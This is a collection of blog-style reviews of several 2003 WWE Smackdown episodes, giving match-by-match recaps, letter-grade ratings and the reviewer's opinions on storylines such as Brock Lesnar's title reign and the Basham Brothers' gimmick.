Tag Team Titles: Los Guerreros vs. Scotty 2 Hotty/Rikishi vs. World’s Greatest Tag Team vs. Basham Brothers

The Bashams are defending and it’s one fall to a finish. Shaniqua is back with the Bashams (having not actually missed any time) but thankfully the masks are gone. Eddie and Rikishi start with the big man launching Eddie over in a backdrop. Chavo comes in and both Guerreros are suplexed at the same time. They escape a double Stinkface though and it’s off to Haas, who tries to slam Rikishi due to reasons of low intelligence.

Scotty comes in for some elbow drops but Haas brings in Shelton to take over. A very fast exploder suplex puts Scotty down but Danny and Eddie tag themselves in with a hurricanrana putting Danny down in a hurry. Both Bashams wind up in the corner for the double Stinkface with everyone else cheering. Thankfully we don’t get any jokes about them liking it as we take a break.

Chavo takes Danny up for a superplex but Doug comes in with a frog splash (a very telegraphed one too) to retain, even though Eddie hit them for the save before the three count. You could see Nick Patrick looking all over the place as he counted (like he was looking for someone to make a save) and Cole sounded a little confused too so something didn’t seem right there.

Rating: D+. Such is the problem with these matches containing so many people. With all the blind tags and quick sequences where you have to get people in and out to make sure everyone gets some time, you can’t get anything going. Also, yay the Bashams retain in a match where you don’t even have to have them lose the fall to get the titles off of them. There’s no coming back from such a stupid and terrible gimmick and having them hold the titles even longer isn’t making them any more over than they were before.

Heyman has put everyone’s name into a tumbler (save for Chris Benoit of course) and tonight, Lesnar is going to pull one out to give someone a title shot.

Lamont introduces The Cat for the weekly dancing session. Cole: “Somebody call my papa!” Cue Sable before he can get anywhere for some ranting and raving about him kissing her last week. Cat says he did (well yeah) but she didn’t look too hot last week. All he was trying to do was give her some hot Cat sugar to warm her up. He goes to kiss her again but here’s Vince to interrupt. Lamont holds the ropes open so Vince knocks him off as I cringe at where this may go.

Cat says he’s the greatest, Vince says he’s the greatest, Cat says he’s the greatest, Vince dances, Cat dances and Vince kicks Cat low. Vince: “SOMEBODY BETTER CALL THE CAT’S MAMA!” So Vince and the Cat are having a dance off on a show where Hardcore Holly is in the main event for a chance to become #1 contender. Oh and the Tag Team Champions are sex slaves to the most boring dominatrix of all time. Kind of a drop from the Smackdown Six days.

Rey Mysterio vs. Jamie Noble

For the #1 contendership. They hit the mat to start before running the ropes, including a monkey flip to put Noble down. Rey tries it again but Noble sticks the landing, setting up stereo dropkicks for a standoff. Rey’s headscissors out of the corner is countered into a faceplant and we hit a camel clutch. Back up and Noble’s charge hits post so Rey gets in a moonsault press for two.

In a counter that you would think someone else would have used before, Noble pulls the ropes apart and Rey crashes to the floor on a 619 attempt. That’s not enough for Jamie though as he throws Nidia inside and dropkicks her into the referee and Rey. Not that it matters as the tiger driver is countered into a hurricanrana to give Rey the pin. So Noble isn’t just a cheater, but also stupid. Such is life as a heel.

Rating: C-. The ending brings it down, much like Noble’s face run being aborted pretty quickly. I was digging his time for the forces of good but instead of making a new name out of a talented guy, let’s go with a story about Nidia instead. You know, the chick from Tough Enough so they might be able to get another season of the show.

Jamie tells Nidia that it was Mysterio.

Holly isn’t happy but he’ll do what he has to do tonight. He’s going to break Brock’s neck and take his title. No Bob, you’re not.

Chris Benoit vs. Chuck Palumbo

Benoit clears the ring of Nunzio and Stamboli but Palumbo gets in a cheap shot. The referee ejects the other two to get things even, albeit with Palumbo in full control to start. The big right hands connect and it’s time to talk about Iraq again. A cravate and belly to back suplex give Palumbo two but Benoit snaps him down by the arm. Back up and Palumbo goes shoulder first into the post (second match in a row) to set up the Crossface. Palumbo makes the rope so Benoit grabs a dragon screw legwhip. Some German suplexes into the Swan Dive get two so it’s the Crossface to make Palumbo tap.

Rating: C. This was completely fine as Benoit survives an early disadvantage to win. It’s good that they have something planned for him with this “he can’t have a title shot” thing as it makes Benoit seem like a threat to Lesnar. That’s what they need to build up, especially with Holly being the current challenger. Have I mentioned how stupid that really is? I wouldn’t want the message to be lost.

Rey comes in to see Nidia and explains (in Spanish for no apparent reason) that it was Jamie who dropkicked her. Nidia doesn’t believe him.

Rhyno vs. Faarooq

Rhyno wanted Bradshaw but gets Faarooq instead as Bradshaw is already in Iraq. Faarooq catches him from trying to run and hits a forearm to the back. A quick trip to the floor goes badly for Faarooq and it’s Rhyno stomping away back inside. The spinebuster gives Faarooq two so Rhyno hits him low for the fast DQ.

Rhyno Gores him down post match.

Heyman hypes up the possible matches for Lesnar, making it very clear that it’s going to be a joke.

In the ring, Heyman brings out Lesnar for the drawing. An annoyed Lesnar pulls out a name and we have a match.

Smackdown World Title: Brock Lesnar vs. Shannon Moore

Brock is defending. Shannon gets in a few shots to the knee and hits a dropkick to the jaw. That’s enough though as a series of clotheslines sets up the Brock Lock to retain the title in less than two minutes.

Post match Lesnar brags about being the best champion ever. He could have defended against anyone and pulls some more balls out of the tumbler. They all say Moore.

Hardcore Holly/Shannon Moore vs. A-Train/Matt Morgan

Yes your final three matches include Faarooq, Moore and Holly. Lesnar is at ringside and Lesnar is flanked by security. With Holly yelling at Lesnar, A-Train and Morgan run in to jump the still beaten down Moore. Morgan does the boot choke in the corner and A-Train hits a bunch of backbreakers.

A bearhug goes on with Morgan shaking Moore around and the Train Wreck draws Holly in for a save. An enziguri is enough for the hot tag so Holly can clean house until Lesnar chairs him in the back. Cole rants about how Holly has everything on the line before saying he has nothing to lose. A sitout powerbomb gives Morgan two but A-Train runs into Matt by mistake. The Alabama Slam gives Holly the pin.

Rating: D. Shannon’s selling was good (as always) but egads I’m not going to care about Holly. Who is buying that Lesnar is scared of the guy who spent years as a race car driver and then as part of a wacky family while trading the Hardcore Title with Road Dogg? I can’t imagine even a small portion of the audience is buying Holly as a real threat to Lesnar and it’s killing the story they’re going for. Holly’s team winning was very clear and at least they kept it short.

Overall Rating: D-. Oh my goodness Christmas has come early. By that I mean Christmas vacation as there wasn’t a lot of interest put into this show with a bunch of matches being too short to rate and Holly and Moore getting a ton of TV time. How am I supposed to get into much going on right now as we’re still waiting on Benoit to get his big time chance? I know it’s coming but they’re not making it easy to get there. Now to be fair a lot of that is just due to the holiday season, but egads find something better to bridge the gap.

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Smackdown – November 6, 2003: Art Donovan’s Dream Team

IMG Credit: WWE

Smackdown
Date: November 5, 2003
Location: HSBC Arena, Buffalo, New York
Attendance: 3,000
Commentators: Michael Cole, Tazz

We’re coming up on Survivor Series and that means things are picking up fast on the blue show. Last week saw most of the Survivor Series match being set up, which may or may not be something that interests you. The big part though: John Cena seems to be turning from the evil side to the good. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

John Cena vs. Rey Mysterio

Cena says Rey beating him is like Big Show eating one Cheerio. Oh and Rey is a midget dominatrix. The fans love Cena’s jokes and give him a CENA chant as the turn is really starting to click. Cena drops to his knees to start and then bails when certain references are made. A hard shoulder works a bit better for Cena and he breaks up a springboard with a hard right hand. We hit the chinlock back inside but Rey fights up with the sitout bulldog for two. The springboard seated senton gets the same but Cena breaks up a top rope dive with a low blow. An FU is good for the pin.

Rating: C. Cena winning is the right call here as they’re doing something with him and having him lose to Rey would have made him lose some steam as they head into Survivor Series. It’s not like Mysterio needs to win every match so everything is fine here, especially with Cena getting a nice boost.

Post match here’s Team Lesnar, complete with Paul Heyman. Paul likes the idea of Cena taking things like that win, but tonight he’s going to give Cena something. Not a title like he has to earn, but the fifth spot on Team Lesnar at Survivor Series. Actually hang on a second though because no one tells him what to do. Besides, he doesn’t fit in on Team Sasquatch. Cue A-Train from behind to beat Cena down with the rest of the team coming in to join the attack. Lesnar cracks him over the head with a chair and Cena is done.

I know he cheated to do it, but having Cena win makes this better. Today, WWE would do this after he lost a nothing match and then wonder why the angle does nothing. It’s such a logical detail but for some reason it tends to elude WWE time after time, which gets very annoying in a hurry.

Post break, Heyman gives A-Train the fifth spot.

We recap everything falling apart for Eddie Guerrero. Break him down so you can build him up.

Chavo Guerrero tells Eddie that he can’t be out there for Eddie’s handicap match against the Bashams. Eddie needs to do this himself because he’s been the one who caused all of these issues.

Big Show vs. Bradshaw

Non-title. Bradshaw wastes no time in hammering away, just like the fans waste no time in calling this boring. A big boot puts Big Show on the floor and it’s Bradshaw hammering away even more as they get back in. Show kicks him in the face to take over though and the pace gets much slower. Some headbutts have Bradshaw in more trouble as Cole talks about how heavy Team Lesnar is. Bradshaw knees him in the face and takes it outside again with a hard whip sending Show into the barricade. Back in and a chokeslam ends Bradshaw in a hurry. It’s that fast.

Rating: D. There’s not much else that these two are going to do and the short time helped as much as it could. Bradshaw as a singles guy isn’t working very well when it’s just APA Bradshaw as a singles wrestler, doing exactly the same thing. You can only rip of Stan Hansen so many times and it’s not exactly thrilling stuff with Bradshaw on his own.

Heyman tells Torrie that he’s in charge now, backs her against the wall, and tells her she’s going to do this his way.

Kurt Angle is upset that Faarooq is officially out of Survivor Series. Chris Benoit tells him to calm down when Torrie comes in to say Heyman is sending them a message. Tonight it’s Benoit/Angle vs. Team Lesnar (minus Show).

We get a sitdown interview with Undertaker, who hates Vince for costing him the title. Therefore, Vince must be destroyed. Vince doesn’t respect the wrestlers and that’s not cool with Undertaker, so a beating has to take place. You have to be held accountable for your actions and that’s what Vince has waiting on him at Survivor Series.

Ernest Miller is still coming.

Eddie Guerrero vs. Basham Brothers

If Eddie wins, he and Chavo get a title shot next week. Eddie stomps away at Danny to start but Danny grabs a pumphandle, with a hard thrust as Eddie is bent over in front of him. That’s not cool with Eddie or the crowd for that matter as they don’t really react to it. Something like a reverse Michinoku Driver gives Doug two but Eddie walks the ropes for a hurricanrana. A slingshot dive drops Doug but Shaniqua kicks Eddie in the face to cut him off again. The lazy announcers don’t even call her an Amazon this time.

A double slingshot suplex puts Eddie down for two and we hit the chinlock. Eddie gets out with a jumping jawbreaker and avoids a top rope legdrop (with some serious height). Backdrops a go-go give Eddie some momentum and he takes them down at the same time. It’s frog splash time but Eddie has to deal with Shaniqua, allowing the Twin Magic switch. Not that it matters as Eddie steals Shaniqua’s whip and gives the ref a spank. Danny gets caught with the whip and while defending himself, gets rolled up to give Eddie the fluke pin.

Rating: C-. I’m over the Bashams’ “comedy” and having them lose in a handicap match wasn’t the best idea in the world (though it makes Eddie look great again, which is the bigger priority). This sets up the title match, and you can almost bet on Los Guerreros losing to further their split, which should help Eddie in the long run.

Post match, Eddie and Chavo are all cool again and leave in the low rider.

Here’s Vince to talk about the buried alive match hanging over his head like the Sword of Damocles. Vince wants one more chance and asks for everyone to lower their heads and close their eyes for an invocation. He prays for forgiveness for what he has to do but he’s been chosen to destroy the Undertaker. As usual, I have no idea why this is supposed to be the top feud.

Hardcore Holly is still on his way back.

Tajiri/Nunzio vs. Jamie Noble/Ultimo Dragon

Noble is making a surprise return and goes charging after Tajiri but gets dropped by Nunzio. It’s quickly off to Dragon for the strikes to Nunzio, including the series of rapid fire kicks for two. Tajiri comes in and gets sent to the floor with a tilt-a-whirl backbreaker. His still unnamed goons offer a distraction though and Nunzio gets in a cheap shot to take over again.

The Sicilian Slice gets two on Dragon and the stomping continues. Back up and Nunzio tries a superplex but gets reversed into a faceplant for a double knockdown. That’s enough for the hot tag to Noble but he gets caught in the springboard flying armbar (Arrivederchi). Tajiri misses the handspring elbow though and gets rolled up to give Noble the pin.

Rating: C+. The cruiserweights are fine and this face turn from Noble has been really well done. I want to see him beat Tajiri up for what was done to Nidia and that means the story has been working. It’s not going to lead anywhere because it’s a cruiserweight match but at least we’re getting a nice little story in the meantime.

Survivor Series rundown, with Noble vs. Tajiri for the title announced.

We recap the Cena beatdown, just after the announcers were wondering who would be Angle’s fifth man.

Brock Lesnar/A-Train/Nathan Jones/Matt Morgan vs. Kurt Angle/Chris Benoit

Brock sits in on commentary to start. Jones shoves Angle into the corner as Brock brags about how long Jones was in prison. A gorilla press is countered and Angle dropkicks the knee, allowing the tag to Benoit. Morgan tosses Benoit again, which Lesnar compares to throwing bales of hay on the farm. Lesnar: “I think he’s a farm kid.” Tazz: “He’s from Fairfield, Connecticut.” Lesnar: “They got farms up there!”

It’s back to Angle, who avoids a charge to send Morgan face first into the middle turnbuckle. A-Train comes in and bearhugs Benoit as Lesnar keeps listing off stats. Back from a break with A-Train running Benoit over again and throwing him outside. That’s enough to get Lesnar off of commentary and come in for some shots to Benoit’s back. A delayed fisherman’s suplex gives Brock two as the announcers declare Team Angle done because of how much Team Brock weighs. So not only is Cole Art Donovan’s dream commentator, but apparently wrestling really doesn’t matter in WWE.

Morgan grabs a bearhug of his own before handing it off to A-Train, who is taken down with a German suplex. The hot tag brings in Angle and it’s time for the rolling German suplexes. An Angle Slam drops Morgan and another one gets rid of Brock as the straps come down. Kurt gets the ankle lock on Lesnar while Benoit Crossfaces A-Train, drawing in Big Show for the DQ.

Rating: C-. Not terrible but the ending was pretty obvious. You’re not going to have most of THE GREATEST TEAM EVER losing ten days before Survivor Series, even if it’s to two of the best in the world. Jones and Morgan were kept to a minimum here and that’s a good thing. Let them get their feet wet in the next week before going into one of the biggest pay per views of the year. It’s totally logical.

Bradshaw runs in to clothesline Show but Morgan and Jones take him down. Cue Cena with a chair to clean half of the house until a Derailer cuts him off. Lesnar gets the chair and decks everyone, leaving Team Lesnar to stand really tall to end the show.

Overall Rating: C. They’re doing everything they can with this Survivor Series match but it’s turned into Big Show/Lesnar vs. Cena/Angle/Benoit and that’s not the most exciting thing in the world. As a show, this was fine and advanced the stories, but you have to remember which stories are being advanced and that brings things back down. Undertaker vs. Vince is a terrible main event and I’m having trouble remembering that Heyman is even running things at the moment. Not a bad show, but Survivor Series is looking bleak for the blue team.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

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Smackdown – August 14, 2003: The XFL, the WBF and Cracker Barrel vs. Bob Evans

Smackdown
Date: August 14, 2003
Location: Savvis Center, St. Louis, Missouri
Commentators: Michael Cole, Tazz

Opening sequence.

Rey hurricanranas Benjamin to the floor and powerbombs Haas off the ropes, right into shooting star press position. The referee is too busy watching Rey 619 Benjamin though, allowing Haas to kick out at two. Awesome sequence. Benjamin tries to grab a belt but Rey takes it away, distracting the referee long enough that Benjamin can superkick Kidman into a rollup to retain.

Doug Basham vs. Billy Gunn

Gunn goes straight at him to start and hits some clotheslines as the announcers talk about Shaniqua. The hiptoss into a neckbreaker gets two as Shaniqua throws Torrie in. The distraction lets the Bashams hit a Russian legsweep/clothesline combo (the Ball and Gag, because of course it is) for the very fast pin.

Undertaker vs. A-Train is set for Summerslam. You may notice the lack of Rey Mysterio and John Cena on the pay per view. No room for people like that of course.

Big Show vs. Undertaker

Show tosses him down without much effort and breaks up a waistlock without about as little effort. Some clotheslines stagger Show though and Undertaker slips out of a chokeslam into a Fujiwara armbar. A DDT gets a very bad looking cover (Undertaker was over his arms and face instead of the shoulders) and the apron legdrop makes things even worse for Show.

Post break, Undertaker needs to be treated before he interferes in the “main event”.

Tajiri vs. Rhyno

Zach Gowen vs. John Cena

We recap Undertaker and A-Train from earlier.

During the break, Matt Hardy jumped Gowen as he was leaving the arena. I knew I always liked Matt for a reason.

Spanky vs. Brock Lesnar

Post destruction, Spanks is pressed ribs first into the post and is covered with more blood. Vince comes out to smile at his new toy.

Stephanie McMahon vs. A-Train

Vince and Sable kiss to end the show.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/


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Smackdown – July 31, 2003: Brock Done Screwed Up

Smackdown
Date: July 31, 2003
Location: World Arena, Colorado Springs, Colorado
Commentators: Michael Cole, Tazz

We’re past the very good Vengeance and that means it’s time to gear up for Summerslam. The big story is Kurt Angle regaining the Smackdown World Title when he pinned Brock Lesnar. Other than that we have the continuing saga of the McMahons, which hopefully is kept on a leash again this week. We need to get ready for Summerslam though so let’s get to it.

We open with a stills package of Sunday’s main event.

Opening sequence.

We look at Eddie Guerrero splitting with Tajiri, who gets a US Title shot tonight.

Here’s Angle to open things up. After taking in some cheers, Angle talks about what it means to become WWE Champion for the fourth time. But really, was there any doubt? Kurt: “I’m Kurt freaking Angle! What did you expect???”. This title means more to him than any other because of the injury but here he is! Tonight is a dream come true but here’s Brock Lesnar with something to say.

Brock admits that Angle beat him but brings up Lesnar being there with him throughout his entire rehab. That’s why Brock is out here to challenge Angle face to face and man to man for his one on one title rematch. Angle says there’s a lot to consider and a lot of people deserve a shot. Angle: “So Brock, I just don’t think that ok you’re on.”. Well that was an abrupt shift.

This brings out Vince McMahon though and he has some bad news for Brock. Earlier today, Angle came to his office and begged him not to give Lesnar a rematch. Vince likes that line of thinking so Lesnar gets no shot. If Brock wants it, he can earn it down the line but tonight, Lesnar and Angle are facing a team of Vince’s choosing. Somehow, this took fifteen minutes.

Summerslam ad featuring Brock Lesnar F5ing a shark. That always gives me a chuckle.

Shelton Benjamin vs. Rey Mysterio

Non-title again because Rey never defends the stupid thing. Rey takes him down to start without much trouble but an early 619 attempt doesn’t work. Shelton sends Rey shoulder first into the post (underneath the bottom rope for a change) and Charlie Haas gets in a few shots to the bad arm. A shoulder breaker and a regular slam get two before it’s off to a hammerlock.

Rey sends him shoulder first into the post as well though and things are a bit more even. Shelton’s pop up….something is countered into a seated senton for a sweet reversal but Shelton takes him down by the arm again. Benjamin grabs a rather unique looking hold as it’s kind of like a crossface chickenwing but with his legs instead of his arm to wrap up Rey’s arm. Kidman and Haas get in a fight on the floor as the 619 connects. The West Coast Pop is broken up but Rey settles for a victory roll and the pin.

Rating: C+. Like this wasn’t going to be good. I could go for Rey actually defending the Cruiserweight Title but if we keep getting solid outings like this, I can live with it a little bit more. Benjamin wrestling on the mat with more holds and submissions is a good idea for him, as long as he keeps up the athletic stuff as well.

We look back at Jamie Noble defeating Billy Gunn on Sunday, earning him a night with Torrie Wilson.

Jamie is at the hotel, in a cowboy hat and white boxers, getting everything ready. Torrie shows up (my goodness she spends a lot of time winding up in hotel rooms) so Jamie opens the briefcase of toys. This includes leopard print handcuffs, a paddle, something to tickle with, and a Lone Ranger mask. Torrie runs to the bathroom before she’s sick. I guess she’s a Zorro fan.

Chris Benoit vs. Rhyno

Hang on a second though as Rhyno pops up on screen to say he’s tired of being treated like a joke. He has a warm up match for Benoit and this man knows something about jokes.

Chris Benoit vs. Doink the Clown

It’s Nick (Eugene) Dinsmore, who was basically a Benoit clone in OVW, down to using German suplexes and a Crossface for his finishers. Benoit gets tired of waiting on Doink to pull out the rubber chicken and runs him over. A hard clothesline (Benoit: “RHYNO!!!”) takes Doink’s head off (but the wig stays on) and a top rope belly to back superplex knocks Doink silly. The Swan Dive into the Crossface is good for the Benoit win.

Benoit takes his time letting go of the hold. Post match Benoit says he’s ready for Rhyno, who says Benoit doesn’t get what he wants.

Jamie is laying on the bed (with leopard print sheets of course) when Torrie comes out, still in her street clothes (I’m not sure what street someone would be on dressed like that). Nidia comes to the door though and says she’s here to win Noble back with some, ahem, female prowess. She drops her fur coat to reveal some lingerie and dives on Jamie as Torrie can’t help but watch.

Brock asks Angle if he talked to Vince earlier. As I try to figure out why Brock waited the better part of an hour to ask this, Angle says he did talk to Vince and says Vince should keep the major risk in mind. The rematch is still on but Angle has an idea for how Lesnar can get his rematch. It doesn’t make much more sense when Angle says it either.

US Title: Eddie Guerrero vs. Tajiri

Eddie is defending and there’s almost no way to hide the fact that he’s the most popular act on the show. The hydraulics in the car don’t work though….because Tajiri was hiding in the trunk and mists Eddie in the aisle. The brawl is on in a hurry but the trainer comes out to check on Eddie’s eyes, drawing an EDDIE chant. Eddie: “I CAN’T SEE!!!” Trainer, holding up three fingers: “How many fingers am I holding up?” Eddie, to the referee: “WILL YOU TELL HIM I CAN’T SEE THE THREE FINGERS HE’S HOLDING UP???”. That’s enough for the referee, who says Eddie either wrestles or loses the title.

We’re joined in progress after a break with Tajiri kicking away and kicking Eddie into the Tree of Woe. More kicks stagger Eddie until he pulls Tajiri face first into the buckle. Eddie gets into a rhythm and sends Tajiri outside for some shots to the back while trying not to make the fans cheer him even more. The slingshot hilo gives Eddie two and we’re off to a chinlock.

Eddie takes too much time going up and gets kicked in the leg, setting up a heck of a top rope superplex. Tajiri is so banged up that Eddie is on his feet first, only to get monkey flipped out to the floor. A hard whip sends Eddie into the steps and Tajiri kicks him in the head for painful measure. Back in and Tajiri scores with the handspring elbow, followed by a tornado DDT for a very delayed two.

We hit the Three Amigos but Tajiri slips out of the third and grabs the Tarantula. With the hold broken, Eddie grabs the referee so he can kick Tajiri low. The referee yells a lot and accidentally gets misted for his efforts. A belt shot to the head drops Tajiri and Eddie pours water in the referee’s eyes. The frog splash retains Eddie’s title.

Rating: B. You kind of knew these two were going to have a good match with each other and I’m glad to see Tajiri getting some exposure like this. The ending might have been a bit messier than it needed to be but it’s a very entertaining way to give Eddie his first title defense. I’m hoping Tajiri gets to do something else because he’s had a very successful summer.

We get a Confidential video on Zach Gowen. He loved wrestling, then he got cancer and lost his leg, then he kept fighting, then he got into wrestling anyway. It’s an amazing story but I think we’ve gotten the idea by now. This eats up over five minutes.

Zach Gowen vs. Shannon Moore

I do miss Out Of My Way as Gowen’s theme song. Moore has Matt, whose favorite season is summer and who is twice the wrestler Zach Gowen is, in his corner. Shannon takes him down and hops around on one foot, earning himself a dropkick to the floor. Back in and Gowen’s tornado DDT is countered into a suplex into the corner for a big crash. Matt offers a trip to cut off a comeback but Gowen hits a leg lariat anyway. A moonsault press gives Gowen two and he dropkicks Matt down, only to get rolled up for the pin.

Rating: C. Gowen is better than you would guess and could be more than just a novelty performer but he’s only going to get so far with having one thing to talk about all the time. The match wasn’t bad either but I’m not sure how many people Gowen can realistically fight as he’s very small, ignoring the leg point. Enjoy it while it lasts though.

John Cena vs. Orlando Jordan

Before the match, Cena challenges Undertaker to a rematch next week and suggests various sexual contact between Undertaker and Jordan. Orlando punches him before the bell and gets dropped ribs first over the top. Some shots to the ribs slow Cena down but he grabs the ropes to avoid being rolled up. Cena shrugs off some right hands and hits the FU for the easy pin.

A rather disheveled but still clothed Torrie seems to have been drinking all night. Jamie and Nidia come out of the shower and are willing to allow Torrie to join them. Torrie downs another glass of champagne but there’s a knock at the door. It’s a rather angry Billy Gunn, who hugs Torrie….as the other two are at it again.

Brock comes in to see Vince and says he can beat the boss to earn a rematch with Angle. Vince will take the rematch under consideration but the match is on. Brock leaves and Vince makes a phone call.

Back at the hotel….all four of them are in bed together. That would be the third woman Torrie has had at least some form of a relationship with in less than a year.

Here’s Sable to brag about winning and call Stephanie a pussycat. She’s the dominant female and we see a clip of Sunday’s match, which Sable won thanks to A-Train. Sable: “Thanks Vince.” She introduces Vince’s team for tonight and we’re ready to go.

A-Train/Big Show vs. Brock Lesnar/Kurt Angle

Brock doesn’t have any wrist tape and it’s a weird look for him. A-Train shoves Angle down to start as the SHAVE YOUR BACK chants start up. A shoulder runs Angle over but he misses a charge in the corner and gets his ankle locked. Lesnar comes in for a double shoulder, followed by more shoulders to A-Train in the corner. A-Train charges into a powerslam (he needs to stop the charging) and it’s back to Angle, who gets caught in a backbreaker.

Show finally does something by decking Angle from the apron, allowing A-Train to get in a bicycle kick. Now it’s Show coming in and running Angle over before chopping him hard in the corner. Angle’s right hands have little effect as Show cuts him off with a side slam. A Warrior Splash gives A-Train two but Angle catches him with a suplex, allowing the hot tag to Brock. Some rapid fire belly to belly suplexes cut A-Train off and there’s the F5 to Show. Angle tags himself in though and steals the pin like a jerk.

Rating: D. Just a main event tag match with little drama here as it might as well have been the Mega Powers vs. the Twin Towers. We’ve seen Angle and Lesnar beat these two in every possible combination so far so I’m not sure how much doubt there was on something like this. At least the ending helped advance things a bit.

Brock gives Angle an F5 and here’s Vince to say the match next week will be in a cage. Oh and Angle can be guest referee. Brock’s “I done screwed up” look ends the show.

Overall Rating: C+. This was a bit up and down as the US Title stuff was rather solid and the Mysterio vs. Benjamin match was entertaining. However, you then have the main event (which was more uneventful than bad), the hotel stuff (which did feature Torrie in some rather fetching attire) and the WAY too long Gowen section. The lack of Vince vs. Stephanie drama helped so much though and it was much more of a good show with some weak spots.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – April 24, 2003: This Didn’t Change My Mind

Smackdown
Date: April 24, 2003
Location: Gaylord Entertainment Center, Nashville, Tennessee
Commentators: Michael Cole, Tazz

It’s the go home show for Backlash and we have a Smackdown main event. This time around it’s going to be rookie upstart John Cena challenging Brock Lesnar for the Smackdown World Title, meaning it’s likely time for a big face to face showdown. Other than that it’s Rikishi vs. Roddy Piper tonight for reasons I don’t even want to begin to understand. Let’s get to it.

Opening sequence.

The announcers preview the show with Cole making sure to say that “we are just 72 hours away, three days, from Backlash”. I have that 72 hours, three days thing burned into my head after hearing Cole say it all those years.

John Cena vs. Rhyno

Before the match, Cena raps his history, which basically summarizes the tournament and says he’s winning on Sunday. He also promises graphic footage to prove that Lesnar shouldn’t be champion. Rhyno wins the early power battle and sends him outside, only to get dropkicked on the way back inside.

A middle rope Fameasser with Rhyno draped over the ropes has Rhyno in trouble and it’s time to start in on the neck. Back in and we hit the armbar for a good bit until Rhyno fights up with a powerslam. The still yet to be named Throwback sets up the ProtoBomb but Rhyno catches him in a spinebuster. The Gore misses though and Cena rolls him up for the pin.

Rating: D+. Just a power match here and I kind of like the idea of Cena making a power guy miss a catch him on a quick pin as it gives him another option to take the title from Lesnar. Unfortunately it wasn’t a great match in the first place, but at least Cena won and beat someone that the fans still care about.

Mr. America is coming.

The FBI annoys Chris Benoit for losing last week when they had a bet on him. They want their money back but Nunzio winds up with a match against Benoit instead.

Sable flaunts her body to Josh Matthews and hypes up the Sable Invitational body contest later tonight.

Some wrestlers toured a Navy ship earlier this week.

Chris Benoit vs. Nunzio

Stamboli and Palumbo get in some shots from behind while Nunzio has the referee. As usual the referee has no issue with Benoit being down despite his opponent not touching him and doesn’t even yell at the other Italians. They trade some chops with the Canadian getting the better of it (well duh) but Palumbo trips Benoit again. The Sicilian Slice (middle rope Fameasser) gives Nunzio two and a swinging neckbreaker is good for the same. An enziguri finally gets Benoit out of trouble and grabs the rolling German suplexes. Nunzio pops up but the springboard armbar is countered into the Crossface for the tap.

Rating: D. I’m hoping they pull the plug on the FBI thing in the very near future as it’s just not interesting. Nunzio is the best worker of the team and even he’s only decent. On top of that, it’s such a simple and not very interesting idea. They’re just stereotypical mob thugs and that’s far from good enough to survive. At least Benoit won though.

Benoit gets beaten down post match.

Tajiri and Funaki watch Rey Mysterio 619 Big Show last week and have a hearty laugh. Cue Big Show to destroy the TV and VCR to blow off some steam.

Rey Mysterio vs. Crash

Crash is now an MF’er, meaning a follower of Matt Hardy, who only uses low fat salad dressings. Tazz dubs Crash a Moore-On as he’s working his way up to MF’er. Rey dropkicks Shannon to the floor but gets armbarred for his efforts. The sitout bulldog is countered with a belly to back suplex (Crash is the first person to come up with that counter?) but the kickouts frustrate Crash. Now the bulldog works fine and the springboard seated senton sets up a tornado DDT to give Rey two. The 619 sets up the springboard legdrop to put Crash away.

Rating: D+. I’m not sure how this is supposed to help Rey get ready for Big Show on Sunday. Crash doesn’t exactly fit the mold for a goon as he wrestled his usual not great match here without looking like anything more than a bad wrestler. This should be setting up Rey vs. Matt but it’s Rey vs. Big Show for reasons I don’t understand.

Cena gives A-Train a pep talk and shows him Lesnar giving him a very scary F5 that saw A-Train landing on his head. That was edited off the actual broadcast if you don’t remember seeing it. A-Train wants to end Lesnar.

Rikishi vs. Roddy Piper

Unfortunately Piper wrestles (work with me here) with his shirt off and the blinded referee doesn’t see Sean O’Haire hit a low blow. Some right hands knock Piper backwards and Sean takes a few of his own but O’Haire comes in to break up the Stinkface for the DQ.

O’Haire beats him down even more and adds the reverse Death Valley Driver.

The evil French guys (now officially La Resistance) are still coming.

It’s time for Sable’s body contest. Before anyone comes out, Sable says this is designed to see if anyone can be as sexy as Torrie. However, Torrie won’t be here tonight because she’s feeling a bit fat lately as she hasn’t been able to get to the gym with all the Playboy stuff. Nidia and Dawn Marie come out and are about to do their thing until Torrie comes out, as expected.

Nidia and Dawn do their thing and get their standard reactions. It’s time for Torrie, who hits on Sable, giving her kind of a standing lap dance, complete with lollipop, and….loses anyway. The beatdown is on and Torrie is left laying as this story is now more confusing than anything else. So Sable is now a lesbian cougar who didn’t interest Torrie but now Torrie is interested (or just playing the proverbial “mind games”) but Sable isn’t interested? Is that where we are?

Chavo Guerrero vs. Shelton Benjamin

Team Angle is dedicating their win on Sunday to Kurt. Shelton takes him down without too much effort but lets Chavo up pretty quickly. Chavo scores with a dropkick and a clothesline as Tazz thinks Eddie stole money from him. Why were Los Guerreros never accused of stealing the FBI’s money a few weeks back? It’s kind of their thing to do.

Chavo’s hurricanrana gets two but he walks into a belly to belly for the same. A quickly broken camel clutch doesn’t do Shelton much good as Chavo grabs a flapjack. An STF that John Cena would think looks bad has Shelton in trouble but Charlie Haas pulls him over to the rope. The referee yells at Eddie for going after Haas, allowing Charlie to turn over a rollup and give Shelton the pin.

Rating: C-. They tried to put a bit too much into this and it wasn’t as good as I was expecting. At least they actually set up something for Sunday as that hasn’t seemed to be the case for most of the night. Chavo is the weaker of the team but he’s certainly capable of having a good match. There was a bit too much interference to let that work here though and it was kind of a mess as a result.

Cena talks trash to Lesnar.

Big Show vs. Tajiri

Show catches him without much trouble and a clothesline cuts off the kicks. A charge misses and Show crotches himself, allowing Tajiri to fire off more kicks. Show’s kick drops Tajiri again but here’s Mysterio’s music for a distraction. Not that it matters as the chokeslam plants Tajiri. Cue Rey in person to post Show, drawing a countout.

